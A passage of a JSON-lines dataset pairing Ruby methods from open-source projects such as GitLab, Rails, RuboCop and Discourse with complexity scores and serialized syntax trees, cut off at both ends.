end","complexity_score":6.45,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[5555]}]}]}]}]}","id":"dea6dd67-bbd6-478d-9569-e8e952253ab4"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/promotion/rules/item_total.rb","start_line":42,"raw_source":"def formatted_amount_max(order)\n          if preferred_amount_max.present?\n            Spree::Money.new(preferred_amount_max, currency: order.currency).to_s\n          else\n            Spree.t('no_maximum')\n          end\n        end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"formatted_amount_max\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"order\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"preferred_amount_max\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Money\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"preferred_amount_max\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"currency\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"currency\"]}]}]}]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"str\",\"children\":[\"no_maximum\"]}]}]}]}","id":"73a3a037-6860-4cbc-8595-8aca22fda267"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250302110537_rename_custom_status_widget_to_status_widget.rb","start_line":11,"raw_source":"def up\n    update_column_in_batches(:work_item_widget_definitions, :name, 'Status') do |table, query|\n      query.where(table[:widget_type].eq(STATUS_WIDGET_TYPE))\n    end\n  end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_column_in_batches\",{\"type\":\"sym\",\"children\":[\"work_item_widget_definitions\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Status\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]},{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"widget_type\"]}]},\"eq\",{\"type\":\"const\",\"children\":[null,\"STATUS_WIDGET_TYPE\"]}]}]}]}]}","id":"1020fc7f-7f81-4452-bf0f-9f9f2e9eb057"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/admin/instance_clusters.rb","start_line":171,"raw_source":"def ensure_feature_enabled!\n          not_found! unless clusterable_instance.certificate_based_clusters_enabled?\n        end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_feature_enabled!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"clusterable_instance\"]},\"certificate_based_clusters_enabled?\"]},null,{\"type\":\"send\",\"children\":[null,\"not_found!\"]}]}]}","id":"2516a063-45f6-4160-be00-03d45a72b6a9"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/context/test_load.rb","start_line":21,"raw_source":"def test_region_file_not_found\n    assert_raises Holidays::UnknownRegionError do\n      @subject.call(:unknown)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_region_file_not_found\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"UnknownRegionError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"call\",{\"type\":\"sym\",\"children\":[\"unknown\"]}]}]}]}","id":"3178cee4-4d41-4ba1-a250-60e77ae0708a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/bitbucket_server_import/project_creator.rb","start_line":19,"raw_source":"def execute\n        user_contribution_mapping_enabled =\n          Feature.enabled?(:bitbucket_server_user_mapping, current_user)\n\n        user_mapping_to_personal_namespace_owner_enabled = user_contribution_mapping_enabled &&\n          Feature.enabled?(:user_mapping_to_personal_namespace_owner, current_user)\n\n        ::Projects::CreateService.new(\n          current_user,\n          name: name,\n          path: name,\n          description: repo.description,\n          namespace_id: namespace.id,\n          organization_id: namespace.organization_id,\n          visibility_level: repo.visibility_level,\n          import_type: 'bitbucket_server',\n          import_source: repo.browse_url,\n          import_url: repo.clone_url,\n          import_data: {\n            credentials: session_data,\n            data: {\n              project_key: project_key,\n              repo_slug: repo_slug,\n              timeout_strategy: timeout_strategy,\n              user_contribution_mapping_enabled: user_contribution_mapping_enabled,\n              user_mapping_to_personal_namespace_owner_enabled: user_mapping_to_personal_namespace_owner_enabled\n            }\n          },\n          skip_wiki: true\n        ).execute\n      end","complexity_score":37.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_contribution_mapping_enabled\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"bitbucket_server_user_mapping\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_mapping_to_personal_namespace_owner_enabled\",{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_contribution_mapping_enabled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"user_mapping_to_personal_namespace_owner\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Projects\"]},\"CreateService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repo\"]},\"description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},\"organization_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visibility_level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repo\"]},\"visibility_level\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"import_type\"]},{\"type\":\"str\",\"children\":[\"bitbucket_server\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"import_source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repo\"]},\"browse_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"import_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repo\"]},\"clone_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"import_data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"credentials\"]},{\"type\":\"send\",\"children\":[null,\"session_data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_key\"]},{\"type\":\"send\",\"children\":[null,\"project_key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repo_slug\"]},{\"type\":\"send\",\"children\":[null,\"repo_slug\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout_strategy\"]},{\"type\":\"send\",\"children\":[null,\"timeout_strategy\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_contribution_mapping_enabled\"]},{\"type\":\"lvar\",\"children\":[\"user_contribution_mapping_enabled\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_mapping_to_personal_namespace_owner_enabled\"]},{\"type\":\"lvar\",\"children\":[\"user_mapping_to_personal_namespace_owner_enabled\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_wiki\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"execute\"]}]}]}","id":"c241a36f-5e6d-43cb-ab50-3a13ca927a3d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/phorge.rb","start_line":23,"raw_source":"def help\n          docs_link = ActionController::Base.helpers.link_to(\n            '',\n            Rails.application.routes.url_helpers.help_page_url('user/project/integrations/phorge.md'),\n            target: '_blank',\n            rel: 'noopener noreferrer'\n          )\n          tag_pair_docs_link = tag_pair(docs_link, :link_start, :link_end)\n\n          safe_format(\n            s_(\"IssueTracker|Use Phorge as this project's issue tracker. %{link_start}Learn more.%{link_end}\"),\n            tag_pair_docs_link\n          )\n        end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"docs_link\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Base\"]},\"helpers\"]},\"link_to\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"routes\"]},\"url_helpers\"]},\"help_page_url\",{\"type\":\"str\",\"children\":[\"user/project/integrations/phorge.md\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"str\",\"children\":[\"_blank\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rel\"]},{\"type\":\"str\",\"children\":[\"noopener noreferrer\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tag_pair_docs_link\",{\"type\":\"send\",\"children\":[null,\"tag_pair\",{\"type\":\"lvar\",\"children\":[\"docs_link\"]},{\"type\":\"sym\",\"children\":[\"link_start\"]},{\"type\":\"sym\",\"children\":[\"link_end\"]}]}]},{\"type\":\"send\",\"children\":[null,\"safe_format\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"IssueTracker|Use Phorge as this project's issue tracker. %{link_start}Learn more.%{link_end}\"]}]},{\"type\":\"lvar\",\"children\":[\"tag_pair_docs_link\"]}]}]}]}","id":"4b2c2681-eb2a-45b1-8a69-c849acba65df"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/tenancy_mixin.rb","start_line":16,"raw_source":"def set_tenant\n    # In priority order\n    if respond_to?(:miq_group)\n      self.miq_group ||= tenant_group || current_user_group || ems_tenant_group || root_tenant_group\n    end\n    self.tenant ||= owning_group_tenant ||\n                    current_user_tenant ||\n                    ems_tenant || root_tenant\n  end","complexity_score":19.1,"ast_json":"{\"type\":\"def\",\"children\":[\"set_tenant\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"sym\",\"children\":[\"miq_group\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"miq_group\"]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tenant_group\"]},{\"type\":\"send\",\"children\":[null,\"current_user_group\"]}]},{\"type\":\"send\",\"children\":[null,\"ems_tenant_group\"]}]},{\"type\":\"send\",\"children\":[null,\"root_tenant_group\"]}]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tenant\"]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"owning_group_tenant\"]},{\"type\":\"send\",\"children\":[null,\"current_user_tenant\"]}]},{\"type\":\"send\",\"children\":[null,\"ems_tenant\"]}]},{\"type\":\"send\",\"children\":[null,\"root_tenant\"]}]}]}]}]}","id":"66feb1f6-6bf9-41da-9f85-232863fe0a99"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/common/transformers/prohibited_attributes_transformer.rb","start_line":31,"raw_source":"def prohibited_key?(key)\n          key.to_s =~ PROHIBITED_REFERENCES\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"prohibited_key?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"=~\",{\"type\":\"const\",\"children\":[null,\"PROHIBITED_REFERENCES\"]}]}]}","id":"a6fa8f89-4f71-4879-909a-f62e836627be"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/encrypted_file.rb","start_line":70,"raw_source":"def read\n      if !key.nil? && content_path.exist?\n        decrypt content_path.binread.strip\n      else\n        raise MissingContentError, content_path\n      end\n    end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"read\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_path\"]},\"exist?\"]}]},{\"type\":\"send\",\"children\":[null,\"decrypt\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_path\"]},\"binread\"]},\"strip\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"MissingContentError\"]},{\"type\":\"send\",\"children\":[null,\"content_path\"]}]}]}]}","id":"8539ad28-8f71-4629-a70f-48b27271f3de"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/line_end_string_concatenation_indentation.rb","start_line":97,"raw_source":"def autocorrect(corrector, node)\n          AlignmentCorrector.correct(corrector, processed_source, node, @column_delta)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AlignmentCorrector\"]},\"correct\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"send\",\"children\":[null,\"processed_source\"]},{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"ivar\",\"children\":[\"@column_delta\"]}]}]}","id":"ea48bc47-ef09-46c6-a8bc-f82eb1f0b73e"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/check_line_breakable.rb","start_line":152,"raw_source":"def contained_by_breakable_collection_on_same_line?(node)\n        node.each_ancestor.find do |ancestor|\n          # Ignore ancestors on different lines.\n          break if ancestor.first_line != node.first_line\n\n          if ancestor.type?(:hash, :array)\n            elements = ancestor.children\n          elsif ancestor.call_type?\n            elements = process_args(ancestor.arguments)\n          else\n            next\n          end\n\n          return true if breakable_collection?(ancestor, elements)\n        end\n\n        false\n      end","complexity_score":22.8,"ast_json":"{\"type\":\"def\",\"children\":[\"contained_by_breakable_collection_on_same_line?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"each_ancestor\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ancestor\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestor\"]},\"first_line\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_line\"]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestor\"]},\"type?\",{\"type\":\"sym\",\"children\":[\"hash\"]},{\"type\":\"sym\",\"children\":[\"array\"]}]},{\"type\":\"lvasgn\",\"children\":[\"elements\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestor\"]},\"children\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestor\"]},\"call_type?\"]},{\"type\":\"lvasgn\",\"children\":[\"elements\",{\"type\":\"send\",\"children\":[null,\"process_args\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestor\"]},\"arguments\"]}]}]},{\"type\":\"next\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"breakable_collection?\",{\"type\":\"lvar\",\"children\":[\"ancestor\"]},{\"type\":\"lvar\",\"children\":[\"elements\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"248af48e-7ded-43d6-97e3-6f6b887cfd4d"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/app_store_version_localization.rb","start_line":59,"raw_source":"def update(client: nil, attributes: nil)\n        client ||= Spaceship::ConnectAPI\n        attributes = reverse_attr_mapping(attributes)\n        client.patch_app_store_version_localization(app_store_version_localization_id: id, attributes: attributes)\n      rescue\n        raise Spaceship::AppStoreLocalizationError, @locale\n      end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"client\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"attributes\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]}]},{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"send\",\"children\":[null,\"reverse_attr_mapping\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"patch_app_store_version_localization\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_store_version_localization_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attributes\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"AppStoreLocalizationError\"]},{\"type\":\"ivar\",\"children\":[\"@locale\"]}]}]},null]}]}","id":"c3297139-3294-4c9b-96a1-e704df1bcf75"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/search_service.rb","start_line":4,"raw_source":"def account_user\n    @account_user ||= current_account.account_users.find_by(user: current_user)\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"account_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@account_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_account\"]},\"account_users\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]}]}","id":"d46f8dcd-7a54-4661-803c-44ed35bdfdb1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/ci/job_analytics/query_builder.rb","start_line":62,"raw_source":"def extract_sort_info(value)\n        value.match(/(?<field>.*)_(?<dir>.*)/) => {field:, dir:}\n\n        [field.to_sym, dir.to_sym]\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_sort_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"match_pattern\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(?<field>.*)_(?<dir>.*)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"match_var\",\"children\":[\"field\"]},{\"type\":\"match_var\",\"children\":[\"dir\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"to_sym\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]},\"to_sym\"]}]}]}]}","id":"1b1928ca-1914-4af7-93ff-d1ce00d07627"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/support/service_matchers.rb","start_line":169,"raw_source":"def step_failed_message\n      message =\n        \"Expected try block (key: '#{step}') to fail with an exception of type '#{exception}'\"\n      message +=\n        if result[step].exception.blank?\n          \" but it succeeded.\"\n        else\n          \" but it failed with an exception of type '#{result[step].exception.class}'\"\n        end\n    end","complexity_score":22.3,"ast_json":"{\"type\":\"def\",\"children\":[\"step_failed_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected try block (key: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"step\"]}]},{\"type\":\"str\",\"children\":[\"') to fail with an exception of type '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exception\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\"]},\"+\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"result\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"step\"]}]},\"exception\"]},\"blank?\"]},{\"type\":\"str\",\"children\":[\" but it succeeded.\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" but it failed with an exception of type '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"result\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"step\"]}]},\"exception\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]}]}","id":"99bf2669-3904-4fac-85f4-353ba96a2a22"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issuable_base_service.rb","start_line":430,"raw_source":"def update_task_event(issuable)\n    update_task_params = params.delete(:update_task)\n    return unless update_task_params\n\n    tasklist_toggler = TaskListToggleService.new(\n      issuable.description,\n      issuable.description_html,\n      line_source: update_task_params[:line_source],\n      line_number: update_task_params[:line_number].to_i,\n      toggle_as_checked: update_task_params[:checked]\n    )\n\n    unless tasklist_toggler.execute\n      # if we make it here, the data is much newer than we thought it was - fail fast\n      raise ActiveRecord::StaleObjectError\n    end\n\n    # by updating the description_html field at the same time,\n    # the markdown cache won't be considered invalid\n    params[:description]      = tasklist_toggler.updated_markdown\n    params[:description_html] = tasklist_toggler.updated_markdown_html\n\n    # since we're updating a very specific line, we don't care whether\n    # the `lock_version` sent from the FE is the same or not.  Just\n    # make sure the data hasn't changed since we queried it\n    params[:lock_version]     = issuable.lock_version\n\n    update_task(issuable)\n  end","complexity_score":26.7,"ast_json":"{\"type\":\"def\",\"children\":[\"update_task_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issuable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"update_task_params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"update_task\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_task_params\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"tasklist_toggler\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TaskListToggleService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"description_html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line_source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_task_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"line_source\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_task_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"line_number\"]}]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"toggle_as_checked\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_task_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"checked\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tasklist_toggler\"]},\"execute\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"StaleObjectError\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tasklist_toggler\"]},\"updated_markdown\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"description_html\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tasklist_toggler\"]},\"updated_markdown_html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"lock_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"lock_version\"]}]},{\"type\":\"send\",\"children\":[null,\"update_task\",{\"type\":\"lvar\",\"children\":[\"issuable\